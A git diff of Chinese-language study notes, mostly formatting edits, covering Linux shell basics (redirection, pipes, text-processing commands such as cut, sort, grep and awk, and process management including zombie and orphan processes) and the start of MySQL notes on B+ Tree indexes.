-- 按 \$PATH 变量指定的搜索路径的顺序找到第一个指令来执行。
+- 以绝对或相对路径来执行指令，例如 /bin/ls 或者 ./ls ；
+- 由别名找到该指令来执行；
+- 由 Bash 内置的指令来执行；
+- 按 \$PATH 变量指定的搜索路径的顺序找到第一个指令来执行。
 
-## 数据流重定向
+## 数据流重定向
 
 重定向指的是使用文件代替标准输入、标准输出和标准错误输出。
 
-| 1 | 代码 | 运算符 |
-| :---: | :---: | :---:|
-| 标准输入 (stdin)  | 0 | < 或 << |
-| 标准输出 (stdout) | 1 | &gt; 或 >> |
-| 标准错误输出 (stderr) | 2 | 2> 或 2>> |
+| 1 | 代码 | 运算符 |
+| :---: | :---: | :---:|
+| 标准输入 (stdin)  | 0 | < 或 << |
+| 标准输出 (stdout) | 1 | &gt; 或 >> |
+| 标准错误输出 (stderr) | 2 | 2> 或 2>> |
 
 其中，有一个箭头的表示以覆盖的方式重定向，而有两个箭头的表示以追加的方式重定向。
 
-可以将不需要的标准输出以及标准错误输出重定向到 /dev/null，相当于扔进垃圾箱。
+可以将不需要的标准输出以及标准错误输出重定向到 /dev/null，相当于扔进垃圾箱。
 
-如果需要将标准输出以及标准错误输出同时重定向到一个文件，需要将某个输出转换为另一个输出，例如 2>&1 表示将标准错误输出转换为标准输出。
+如果需要将标准输出以及标准错误输出同时重定向到一个文件，需要将某个输出转换为另一个输出，例如 2>&1 表示将标准错误输出转换为标准输出。
 
 ```bash
-$ find /home -name .bashrc > list 2>&1
+$ find /home -name .bashrc > list 2>&1
 ```
 
-# 八、管道指令
+# 八、管道指令
 
 管道是将一个命令的标准输出作为另一个命令的标准输入，在数据需要经过多个步骤的处理之后才能得到我们想要的内容时就可以使用管道。
 
-在命令之间使用 | 分隔各个管道命令。
+在命令之间使用 | 分隔各个管道命令。
 
 ```bash
-$ ls -al /etc | less
+$ ls -al /etc | less
 ```
 
-## 提取指令
+## 提取指令
 
-cut 对数据进行切分，取出想要的部分。
+cut 对数据进行切分，取出想要的部分。
 
 切分过程一行一行地进行。
 
 ```html
-$ cut
--d ：分隔符
--f ：经过 -d 分隔后，使用 -f n 取出第 n 个区间
--c ：以字符为单位取出区间
+$ cut
+-d ：分隔符
+-f ：经过 -d 分隔后，使用 -f n 取出第 n 个区间
+-c ：以字符为单位取出区间
 ```
 
-示例 1：last 显示登入者的信息，取出用户名。
+示例 1：last 显示登入者的信息，取出用户名。
 
 ```html
-$ last
-root pts/1 192.168.201.101 Sat Feb 7 12:35 still logged in
-root pts/1 192.168.201.101 Fri Feb 6 12:13 - 18:46 (06:33)
-root pts/1 192.168.201.254 Thu Feb 5 22:37 - 23:53 (01:16)
+$ last
+root pts/1 192.168.201.101 Sat Feb 7 12:35 still logged in
+root pts/1 192.168.201.101 Fri Feb 6 12:13 - 18:46 (06:33)
+root pts/1 192.168.201.254 Thu Feb 5 22:37 - 23:53 (01:16)
 
-$ last | cut -d ' ' -f 1
+$ last | cut -d ' ' -f 1
 ```
 
-示例 2：将 export 输出的信息，取出第 12 字符以后的所有字符串。
+示例 2：将 export 输出的信息，取出第 12 字符以后的所有字符串。
 
 ```html
-$ export
-declare -x HISTCONTROL="ignoredups"
-declare -x HISTSIZE="1000"
-declare -x HOME="/home/dmtsai"
-declare -x HOSTNAME="study.centos.vbird"
+$ export
+declare -x HISTCONTROL="ignoredups"
+declare -x HISTSIZE="1000"
+declare -x HOME="/home/dmtsai"
+declare -x HOSTNAME="study.centos.vbird"
 .....(其他省略).....
 
-$ export | cut -c 12-
+$ export | cut -c 12-
 ```
 
-## 排序指令
+## 排序指令
 
-**sort** 用于排序。
+**sort**  用于排序。
 
 ```html
-$ sort [-fbMnrtuk] [file or stdin]
--f ：忽略大小写
--b ：忽略最前面的空格
--M ：以月份的名字来排序，例如 JAN，DEC
--n ：使用数字
--r ：反向排序
--u ：相当于 unique，重复的内容只出现一次
--t ：分隔符，默认为 tab
--k ：指定排序的区间
+$ sort [-fbMnrtuk] [file or stdin]
+-f ：忽略大小写
+-b ：忽略最前面的空格
+-M ：以月份的名字来排序，例如 JAN，DEC
+-n ：使用数字
+-r ：反向排序
+-u ：相当于 unique，重复的内容只出现一次
+-t ：分隔符，默认为 tab
+-k ：指定排序的区间
 ```
 
-示例：/etc/passwd 文件内容以 : 来分隔，要求以第三列进行排序。
+示例：/etc/passwd 文件内容以 : 来分隔，要求以第三列进行排序。
 
 ```html
-$ cat /etc/passwd | sort -t ':' -k 3
+$ cat /etc/passwd | sort -t ':' -k 3
 root:x:0:0:root:/root:/bin/bash
 dmtsai:x:1000:1000:dmtsai:/home/dmtsai:/bin/bash
 alex:x:1001:1002::/home/alex:/bin/bash
 arod:x:1002:1003::/home/arod:/bin/bash
 ```
 
-**uniq** 可以将重复的数据只取一个。
+**uniq**  可以将重复的数据只取一个。
 
 ```html
-$ uniq [-ic]
--i ：忽略大小写
--c ：进行计数
+$ uniq [-ic]
+-i ：忽略大小写
+-c ：进行计数
 ```
 
 示例：取得每个人的登录总次数
 
 ```html
-$ last | cut -d ' ' -f 1 | sort | uniq -c
+$ last | cut -d ' ' -f 1 | sort | uniq -c
 1
-6 (unknown
-47 dmtsai
-4 reboot
-7 root
-1 wtmp
+6 (unknown
+47 dmtsai
+4 reboot
+7 root
+1 wtmp
 ```
 
-## 双向输出重定向
+## 双向输出重定向
 
-输出重定向会将输出内容重定向到文件中，而 **tee** 不仅能够完成这个功能，还能保留屏幕上的输出。也就是说，使用 tee 指令，一个输出会同时传送到文件和屏幕上。
+输出重定向会将输出内容重定向到文件中，而  **tee**  不仅能够完成这个功能，还能保留屏幕上的输出。也就是说，使用 tee 指令，一个输出会同时传送到文件和屏幕上。
 
 ```html
-$ tee [-a] file
+$ tee [-a] file
 ```
 
-## 字符转换指令
+## 字符转换指令
 
-**tr** 用来删除一行中的字符，或者对字符进行替换。
+**tr**  用来删除一行中的字符，或者对字符进行替换。
 
 ```html
-$ tr [-ds] SET1 ...
--d ： 删除行中 SET1 这个字符串
+$ tr [-ds] SET1 ...
+-d ： 删除行中 SET1 这个字符串
 ```
 
-示例，将 last 输出的信息所有小写转换为大写。
+示例，将 last 输出的信息所有小写转换为大写。
 
 ```html
-$ last | tr '[a-z]' '[A-Z]'
+$ last | tr '[a-z]' '[A-Z]'
 ```
 
- **col** 将 tab 字符转为空格字符。
+  **col**  将 tab 字符转为空格字符。
 
 ```html
-$ col [-xb]
--x ： 将 tab 键转换成对等的空格键
+$ col [-xb]
+-x ： 将 tab 键转换成对等的空格键
 ```
 
-**expand** 将 tab 转换一定数量的空格，默认是 8 个。
+**expand**  将 tab 转换一定数量的空格，默认是 8 个。
 
 ```html
-$ expand [-t] file
--t ：tab 转为空格的数量
+$ expand [-t] file
+-t ：tab 转为空格的数量
 ```
 
-**join** 将有相同数据的那一行合并在一起。
+**join**  将有相同数据的那一行合并在一起。
 
 ```html
-$ join [-ti12] file1 file2
--t ：分隔符，默认为空格
--i ：忽略大小写的差异
--1 ：第一个文件所用的比较字段
--2 ：第二个文件所用的比较字段
+$ join [-ti12] file1 file2
+-t ：分隔符，默认为空格
+-i ：忽略大小写的差异
+-1 ：第一个文件所用的比较字段
+-2 ：第二个文件所用的比较字段
 ```
 
-**paste** 直接将两行粘贴在一起。
+**paste**  直接将两行粘贴在一起。
 
 ```html
-$ paste [-d] file1 file2
--d ：分隔符，默认为 tab
+$ paste [-d] file1 file2
+-d ：分隔符，默认为 tab
 ```
 
-## 分区指令
+## 分区指令
 
-**split** 将一个文件划分成多个文件。
+**split**  将一个文件划分成多个文件。
 
 ```html
-$ split [-bl] file PREFIX
--b ：以大小来进行分区，可加单位，例如 b, k, m 等
--l ：以行数来进行分区。
-- PREFIX ：分区文件的前导名称
+$ split [-bl] file PREFIX
+-b ：以大小来进行分区，可加单位，例如 b, k, m 等
+-l ：以行数来进行分区。
+- PREFIX ：分区文件的前导名称
 ```
 
-# 九、正则表达式
+# 九、正则表达式
 
-## grep
+## grep
 
-g/re/p（globally search a regular expression and print)，使用正则表示式进行全局查找并打印。
+g/re/p（globally search a regular expression and print)，使用正则表示式进行全局查找并打印。
 
 ```html
-$ grep [-acinv] [--color=auto] 搜寻字符串 filename
--c ： 统计个数
--i ： 忽略大小写
--n ： 输出行号
--v ： 反向选择，也就是显示出没有 搜寻字符串 内容的那一行
---color=auto ：找到的关键字加颜色显示
+$ grep [-acinv] [--color=auto] 搜寻字符串 filename
+-c ： 统计个数
+-i ： 忽略大小写
+-n ： 输出行号
+-v ： 反向选择，也就是显示出没有 搜寻字符串 内容的那一行
+--color=auto ：找到的关键字加颜色显示
 ```
 
-示例：把含有 the 字符串的行提取出来（注意默认会有 --color=auto 选项，因此以下内容在 Linux 中有颜色显示 the 字符串）
+示例：把含有 the 字符串的行提取出来（注意默认会有 --color=auto 选项，因此以下内容在 Linux 中有颜色显示 the 字符串）
 
 ```html
-$ grep -n 'the' regular_express.txt
-8:I can't finish the test.
-12:the symbol '*' is represented as start.
-15:You are the best is mean you are the no. 1.
-16:The world Happy is the same with "glad".
-18:google is the best tools for search keyword
+$ grep -n 'the' regular_express.txt
+8:I can't finish the test.
+12:the symbol '*' is represented as start.
+15:You are the best is mean you are the no. 1.
+16:The world Happy is the same with "glad".
+18:google is the best tools for search keyword
 ```
 
-因为 { 和 } 在 shell 是有特殊意义的，因此必须要使用转义字符进行转义。
+因为 { 和 } 在 shell 是有特殊意义的，因此必须要使用转义字符进行转义。
 
 ```html
-$ grep -n 'go\{2,5\}g' regular_express.txt
+$ grep -n 'go\{2,5\}g' regular_express.txt
 ```
 
-## printf
+## printf
 
-用于格式化输出。它不属于管道命令，在给 printf 传数据时需要使用 $( ) 形式。
+用于格式化输出。它不属于管道命令，在给 printf 传数据时需要使用 $( ) 形式。
 
 ```html
-$ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt)
-    DmTsai    80    60    92    77.33
-     VBird    75    55    80    70.00
-       Ken    60    90    70    73.33
+$ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt)
+    DmTsai    80    60    92    77.33
+     VBird    75    55    80    70.00
+       Ken    60    90    70    73.33
 ```
 
-## awk
+## awk
 
-是由 Alfred Aho，Peter Weinberger, 和 Brian Kernighan 创造，awk 这个名字就是这三个创始人名字的首字母。
+是由 Alfred Aho，Peter Weinberger, 和 Brian Kernighan 创造，awk 这个名字就是这三个创始人名字的首字母。
 
-awk 每次处理一行，处理的最小单位是字段，每个字段的命名方式为：\$n，n 为字段号，从 1 开始，\$0 表示一整行。
+awk 每次处理一行，处理的最小单位是字段，每个字段的命名方式为：\$n，n 为字段号，从 1 开始，\$0 表示一整行。
 
-示例：取出最近五个登录用户的用户名和 IP
+示例：取出最近五个登录用户的用户名和 IP
 
 ```html
-$ last -n 5
-dmtsai pts/0 192.168.1.100 Tue Jul 14 17:32 still logged in
-dmtsai pts/0 192.168.1.100 Thu Jul 9 23:36 - 02:58 (03:22)
-dmtsai pts/0 192.168.1.100 Thu Jul 9 17:23 - 23:36 (06:12)
-dmtsai pts/0 192.168.1.100 Thu Jul 9 08:02 - 08:17 (00:14)
-dmtsai tty1 Fri May 29 11:55 - 12:11 (00:15)
+$ last -n 5
+dmtsai pts/0 192.168.1.100 Tue Jul 14 17:32 still logged in
+dmtsai pts/0 192.168.1.100 Thu Jul 9 23:36 - 02:58 (03:22)
+dmtsai pts/0 192.168.1.100 Thu Jul 9 17:23 - 23:36 (06:12)
+dmtsai pts/0 192.168.1.100 Thu Jul 9 08:02 - 08:17 (00:14)
+dmtsai tty1 Fri May 29 11:55 - 12:11 (00:15)
 ```
 
 ```html
-$ last -n 5 | awk '{print $1 "\t" $3}'
+$ last -n 5 | awk '{print $1 "\t" $3}'
 ```
 
 可以根据字段的某些条件进行匹配，例如匹配字段小于某个值的那一行数据。
 
 ```html
-$ awk '条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
+$ awk '条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
 ```
 
-示例：/etc/passwd 文件第三个字段为 UID，对 UID 小于 10 的数据进行处理。
+示例：/etc/passwd 文件第三个字段为 UID，对 UID 小于 10 的数据进行处理。
 
 ```text
-$ cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
-root 0
-bin 1
-daemon 2
+$ cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
+root 0
+bin 1
+daemon 2
 ```
 
-awk 变量：
+awk 变量：
 
-| 变量名称 | 代表意义 |
-| :--: | -- |
-| NF | 每一行拥有的字段总数 |
-| NR | 目前所处理的是第几行数据 |
-| FS | 目前的分隔字符，默认是空格键 |
+| 变量名称 | 代表意义 |
+| :--: | -- |
+| NF | 每一行拥有的字段总数 |
+| NR | 目前所处理的是第几行数据 |
+| FS | 目前的分隔字符，默认是空格键 |
 
 示例：显示正在处理的行号以及每一行有多少字段
 
 ```html
-$ last -n 5 | awk '{print $1 "\t lines: " NR "\t columns: " NF}'
-dmtsai lines: 1 columns: 10
-dmtsai lines: 2 columns: 10
-dmtsai lines: 3 columns: 10
-dmtsai lines: 4 columns: 10
-dmtsai lines: 5 columns: 9
+$ last -n 5 | awk '{print $1 "\t lines: " NR "\t columns: " NF}'
+dmtsai lines: 1 columns: 10
+dmtsai lines: 2 columns: 10
+dmtsai lines: 3 columns: 10
+dmtsai lines: 4 columns: 10
+dmtsai lines: 5 columns: 9
 ```
 
-# 十、进程管理
+# 十、进程管理
 
-## 查看进程
+## 查看进程
 
-### 1. ps
+### 1. ps
 
 查看某个时间点的进程信息
 
 示例一：查看自己的进程
 
 ```sh
-# ps -l
+# ps -l
 ```
 
 示例二：查看系统所有进程
 
 ```sh
-# ps aux
+# ps aux
 ```
 
 示例三：查看特定的进程
 
 ```sh
-# ps aux | grep threadx
+# ps aux | grep threadx
 ```
 
-### 2. pstree
+### 2. pstree
 
 查看进程树
 
 示例：查看所有进程树
 
 ```sh
-# pstree -A
+# pstree -A
 ```
 
-### 3. top
+### 3. top
 
 实时显示进程信息
 
 示例：两秒钟刷新一次
 
 ```sh
-# top -d 2
+# top -d 2
 ```
 
-### 4. netstat
+### 4. netstat
 
 查看占用端口的进程
 
 示例：查看特定端口的进程
 
 ```sh
-# netstat -anp | grep port
+# netstat -anp | grep port
 ```
 
-## 进程状态
+## 进程状态
 
-| 状态 | 说明 |
-| :---: | --- |
-| R | running or runnable (on run queue) |
-| D | uninterruptible sleep (usually I/O) |
-| S | interruptible sleep (waiting for an event to complete) |
-| Z | zombie (terminated but not reaped by its parent) |
-| T | stopped (either by a job control signal or because it is being traced) |
+| 状态 | 说明 |
+| :---: | --- |
+| R | running or runnable (on run queue) |
+| D | uninterruptible sleep (usually I/O) |
+| S | interruptible sleep (waiting for an event to complete) |
+| Z | zombie (terminated but not reaped by its parent) |
+| T | stopped (either by a job control signal or because it is being traced) |
 <br>
-<img src="index_files/76a49594323247f21c9b3a69945445ee.png" width=""/>
+<div align="center"> <img src="pics/76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
 
-## SIGCHLD
+## SIGCHLD
 
 当一个子进程改变了它的状态时（停止运行，继续运行或者退出），有两件事会发生在父进程中：
 
-- 得到 SIGCHLD 信号；
-- waitpid() 或者 wait() 调用会返回。
+- 得到 SIGCHLD 信号；
+- waitpid() 或者 wait() 调用会返回。
 
-其中子进程发送的 SIGCHLD 信号包含了子进程的信息，比如进程 ID、进程状态、进程使用 CPU 的时间等。
+其中子进程发送的 SIGCHLD 信号包含了子进程的信息，比如进程 ID、进程状态、进程使用 CPU 的时间等。
 
-在子进程退出时，它的进程描述符不会立即释放，这是为了让父进程得到子进程信息，父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。
+在子进程退出时，它的进程描述符不会立即释放，这是为了让父进程得到子进程信息，父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。
 
-<img src="index_files/flow.png" width=""/>
+<div align="center"> <img src="pics/flow.png" width=""/> </div><br>
 
-## wait()
+## wait()
 
 ```c
-pid_t wait(int *status)
+pid_t wait(int *status)
 ```
 
-父进程调用 wait() 会一直阻塞，直到收到一个子进程退出的 SIGCHLD 信号，之后 wait() 函数会销毁子进程并返回。
+父进程调用 wait() 会一直阻塞，直到收到一个子进程退出的 SIGCHLD 信号，之后 wait() 函数会销毁子进程并返回。
 
-如果成功，返回被收集的子进程的进程 ID；如果调用进程没有子进程，调用就会失败，此时返回 -1，同时 errno 被置为 ECHILD。
+如果成功，返回被收集的子进程的进程 ID；如果调用进程没有子进程，调用就会失败，此时返回 -1，同时 errno 被置为 ECHILD。
 
-参数 status 用来保存被收集的子进程退出时的一些状态，如果对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL。
+参数 status 用来保存被收集的子进程退出时的一些状态，如果对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL。
 
-## waitpid()
+## waitpid()
 
 ```c
-pid_t waitpid(pid_t pid, int *status, int options)
+pid_t waitpid(pid_t pid, int *status, int options)
 ```
 
-作用和 wait() 完全相同，但是多了两个可由用户控制的参数 pid 和 options。
+作用和 wait() 完全相同，但是多了两个可由用户控制的参数 pid 和 options。
 
-pid 参数指示一个子进程的 ID，表示只关心这个子进程退出的 SIGCHLD 信号。如果 pid=-1 时，那么和 wait() 作用相同，都是关心所有子进程退出的 SIGCHLD 信号。
+pid 参数指示一个子进程的 ID，表示只关心这个子进程退出的 SIGCHLD 信号。如果 pid=-1 时，那么和 wait() 作用相同，都是关心所有子进程退出的 SIGCHLD 信号。
 
-options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 waitpid() 调用变成非阻塞的，也就是说它会立即返回，父进程可以继续执行其它任务。
+options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 waitpid() 调用变成非阻塞的，也就是说它会立即返回，父进程可以继续执行其它任务。
 
-## 孤儿进程
+## 孤儿进程
 
 一个父进程退出，而它的一个或多个子进程还在运行，那么这些子进程将成为孤儿进程。
 
-孤儿进程将被 init 进程（进程号为 1）所收养，并由 init 进程对它们完成状态收集工作。
+孤儿进程将被 init 进程（进程号为 1）所收养，并由 init 进程对它们完成状态收集工作。
 
-由于孤儿进程会被 init 进程收养，所以孤儿进程不会对系统造成危害。
+由于孤儿进程会被 init 进程收养，所以孤儿进程不会对系统造成危害。
 
-## 僵尸进程
+## 僵尸进程
 
-一个子进程的进程描述符在子进程退出时不会释放，只有当父进程通过 wait() 或 waitpid() 获取了子进程信息后才会释放。如果子进程退出，而父进程并没有调用 wait() 或 waitpid()，那么子进程的进程描述符仍然保存在系统中，这种进程称之为僵尸进程。
+一个子进程的进程描述符在子进程退出时不会释放，只有当父进程通过 wait() 或 waitpid() 获取了子进程信息后才会释放。如果子进程退出，而父进程并没有调用 wait() 或 waitpid()，那么子进程的进程描述符仍然保存在系统中，这种进程称之为僵尸进程。
 
-僵尸进程通过 ps 命令显示出来的状态为 Z（zombie）。
+僵尸进程通过 ps 命令显示出来的状态为 Z（zombie）。
 
 系统所能使用的进程号是有限的，如果产生大量僵尸进程，将因为没有可用的进程号而导致系统不能产生新的进程。
 
-要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵尸进程所占有的资源，从而结束僵尸进程。
+要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵尸进程所占有的资源，从而结束僵尸进程。
 
-# 参考资料
+# 参考资料
 
-- 鸟哥. 鸟 哥 的 Linux 私 房 菜 基 础 篇 第 三 版[J]. 2009.
-- [Linux 平台上的软件包管理](https://www.ibm.com/developerworks/cn/linux/l-cn-rpmdpkg/index.html)
-- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
-- [What is the difference between a symbolic link and a hard link?](https://stackoverflow.com/questions/185899/what-is-the-difference-between-a-symbolic-link-and-a-hard-link)
-- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
-- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
-- [详解 wait 和 waitpid 函数](https://blog.csdn.net/kevinhg/article/details/7001719)
-- [IDE、SATA、SCSI、SAS、FC、SSD 硬盘类型介绍](https://blog.csdn.net/tianlesoftware/article/details/6009110)
-- [Akai IB-301S SCSI Interface for S2800,S3000](http://www.mpchunter.com/s3000/akai-ib-301s-scsi-interface-for-s2800s3000/)
-- [Parallel ATA](https://en.wikipedia.org/wiki/Parallel_ATA)
-- [ADATA XPG SX900 256GB SATA 3 SSD Review – Expanded Capacity and SandForce Driven Speed](http://www.thessdreview.com/our-reviews/adata-xpg-sx900-256gb-sata-3-ssd-review-expanded-capacity-and-sandforce-driven-speed/4/)
-- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
-- [硬盘](https://zh.wikipedia.org/wiki/%E7%A1%AC%E7%9B%98)
-- [Difference between SAS and SATA](http://www.differencebetween.info/difference-between-sas-and-sata)
-- [BIOS](https://zh.wikipedia.org/wiki/BIOS)
-- [File system design case studies](https://www.cs.rutgers.edu/~pxk/416/notes/13-fs-studies.html)
-- [Programming Project #4](https://classes.soe.ucsc.edu/cmps111/Fall08/proj4.shtml)
-- [FILE SYSTEM DESIGN](http://web.cs.ucla.edu/classes/fall14/cs111/scribe/11a/index.html)
----bottom---CyC---
-![](index_files/5942debd-fc00-477a-b390-7c5692cc8070.jpg)
-![](index_files/924914c0-660c-4e4a-bbc0-1df1146e7516.jpg)
-![](index_files/f9f2a16b-4843-44d1-9759-c745772e9bcf.jpg)
-![](index_files/f0574025-c514-49f5-a591-6d6a71f271f7.jpg)
-![](index_files/6729baa0-57d7-4817-b3aa-518cbccf824c.jpg)
-![](index_files/GUID_Partition_Table_Scheme.svg.png)
-![](index_files/50831a6f-2777-46ea-a571-29f23c85cc21.jpg)
-![](index_files/f900f266-a323-42b2-bc43-218fdb8811a8.jpg)
-![](index_files/BSD_disk.png)
-![](index_files/83185315-793a-453a-a927-5e8d92b5c0ef.jpg)
-![](index_files/075e1977-7846-4928-96c8-bb5b0268693c.jpg)
-![](index_files/inode_with_signatures.jpg)
-![](index_files/linux-filesystem.png)
-![](index_files/b8081c84-62c4-4019-b3ee-4bd0e443d647.jpg)
-![](index_files/658fc5e7-79c0-4247-9445-d69bf194c539.png)
-![](index_files/76a49594323247f21c9b3a69945445ee.png)
-![](index_files/flow.png)
+- 鸟哥. 鸟 哥 的 Linux 私 房 菜 基 础 篇 第 三 版[J]. 2009.
+- [Linux 平台上的软件包管理](https://www.ibm.com/developerworks/cn/linux/l-cn-rpmdpkg/index.html)
+- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
+- [What is the difference between a symbolic link and a hard link?](https://stackoverflow.com/questions/185899/what-is-the-difference-between-a-symbolic-link-and-a-hard-link)
+- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
+- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
+- [详解 wait 和 waitpid 函数](https://blog.csdn.net/kevinhg/article/details/7001719)
+- [IDE、SATA、SCSI、SAS、FC、SSD 硬盘类型介绍](https://blog.csdn.net/tianlesoftware/article/details/6009110)
+- [Akai IB-301S SCSI Interface for S2800,S3000](http://www.mpchunter.com/s3000/akai-ib-301s-scsi-interface-for-s2800s3000/)
+- [Parallel ATA](https://en.wikipedia.org/wiki/Parallel_ATA)
+- [ADATA XPG SX900 256GB SATA 3 SSD Review – Expanded Capacity and SandForce Driven Speed](http://www.thessdreview.com/our-reviews/adata-xpg-sx900-256gb-sata-3-ssd-review-expanded-capacity-and-sandforce-driven-speed/4/)
+- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
+- [硬盘](https://zh.wikipedia.org/wiki/%E7%A1%AC%E7%9B%98)
+- [Difference between SAS and SATA](http://www.differencebetween.info/difference-between-sas-and-sata)
+- [BIOS](https://zh.wikipedia.org/wiki/BIOS)
+- [File system design case studies](https://www.cs.rutgers.edu/\~pxk/416/notes/13-fs-studies.html)
+- [Programming Project #4](https://classes.soe.ucsc.edu/cmps111/Fall08/proj4.shtml)
+- [FILE SYSTEM DESIGN](http://web.cs.ucla.edu/classes/fall14/cs111/scribe/11a/index.html)
diff --git a/docs/notes/MySQL.md b/docs/notes/MySQL.md
index ab8dba5b..720e476e 100644
--- a/docs/notes/MySQL.md
+++ b/docs/notes/MySQL.md
@@ -1,46 +1,79 @@
-# 一、索引
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、索引](#一索引)
+    * [B+ Tree 原理](#b-tree-原理)
+    * [MySQL 索引](#mysql-索引)
+    * [索引优化](#索引优化)
+    * [索引的优点](#索引的优点)
+    * [索引的使用条件](#索引的使用条件)
+* [二、查询性能优化](#二查询性能优化)
+    * [使用 Explain 进行分析](#使用-explain-进行分析)
+    * [优化数据访问](#优化数据访问)
+    * [重构查询方式](#重构查询方式)
+* [三、存储引擎](#三存储引擎)
+    * [InnoDB](#innodb)
+    * [MyISAM](#myisam)
+    * [比较](#比较)
+* [四、数据类型](#四数据类型)
+    * [整型](#整型)
+    * [浮点数](#浮点数)
+    * [字符串](#字符串)
+    * [时间和日期](#时间和日期)
+* [五、切分](#五切分)
+    * [水平切分](#水平切分)
+    * [垂直切分](#垂直切分)
+    * [Sharding 策略](#sharding-策略)
+    * [Sharding 存在的问题](#sharding-存在的问题)
+* [六、复制](#六复制)
+    * [主从复制](#主从复制)
+    * [读写分离](#读写分离)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## B+ Tree 原理
 
-### 1. 数据结构
+# 一、索引
 
-B Tree 指的是 Balance Tree，也就是平衡树。平衡树是一颗查找树，并且所有叶子节点位于同一层。
+## B+ Tree 原理
 
-B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，它具有 B Tree 的平衡性，并且通过顺序访问指针来提高区间查询的性能。
+### 1. 数据结构
 
-在 B+ Tree 中，一个节点中的 key 从左到右非递减排列，如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>，且不为 null，则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>。
+B Tree 指的是 Balance Tree，也就是平衡树。平衡树是一颗查找树，并且所有叶子节点位于同一层。
 
-<img src="index_files/d5ce91a7-45f9-4560-9917-0dccd4900826.png" width="400px">
+B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，它具有 B Tree 的平衡性，并且通过顺序访问指针来提高区间查询的性能。
 
-### 2. 操作
+在 B+ Tree 中，一个节点中的 key 从左到右非递减排列，如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>，且不为 null，则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>。
 
-进行查找操作时，首先在根节点进行二分查找，找到一个 key 所在的指针，然后递归地在指针所指向的节点进行查找。直到查找到叶子节点，然后在叶子节点上进行二分查找，找出 key 所对应的 data。
+<div align="center"> <img src="pics/d5ce91a7-45f9-4560-9917-0dccd4900826.png" width="400px"> </div><br>
+
+### 2. 操作
+
+进行查找操作时，首先在根节点进行二分查找，找到一个 key 所在的指针，然后递归地在指针所指向的节点进行查找。直到查找到叶子节点，然后在叶子节点上进行二分查找，找出 key 所对应的 data。
 
 插入删除操作会破坏平衡树的平衡性，因此在插入删除操作之后，需要对树进行一个分裂、合并、旋转等操作来维护平衡性。
 
-### 3. 与红黑树的比较
+### 3. 与红黑树的比较
 
-红黑树等平衡树也可以用来实现索引，但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构，主要有以下两个原因：
+红黑树等平衡树也可以用来实现索引，但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构，主要有以下两个原因：
 
 （一）更少的查找次数
 
-平衡树查找操作的时间复杂度和树高 h 相关，O(h)=O(log<sub>d</sub>N)，其中 d 为每个节点的出度。
+平衡树查找操作的时间复杂度和树高 h 相关，O(h)=O(log<sub>d</sub>N)，其中 d 为每个节点的出度。
 
-红黑树的出度为 2，而 B+ Tree 的出度一般都非常大，所以红黑树的树高 h 很明显比 B+ Tree 大非常多，查找的次数也就更多。
+红黑树的出度为 2，而 B+ Tree 的出度一般都非常大，所以红黑树的树高 h 很明显比 B+ Tree 大非常多，查找的次数也就更多。
 
 （二）利用磁盘预读特性
 
-为了减少磁盘 I/O 操作，磁盘往往不是严格按需读取，而是每次都会预读。预读过程中，磁盘进行顺序读取，顺序读取不需要进行磁盘寻道，并且只需要很短的旋转时间，速度会非常快。
+为了减少磁盘 I/O 操作，磁盘往往不是严格按需读取，而是每次都会预读。预读过程中，磁盘进行顺序读取，顺序读取不需要进行磁盘寻道，并且只需要很短的旋转时间，速度会非常快。
 
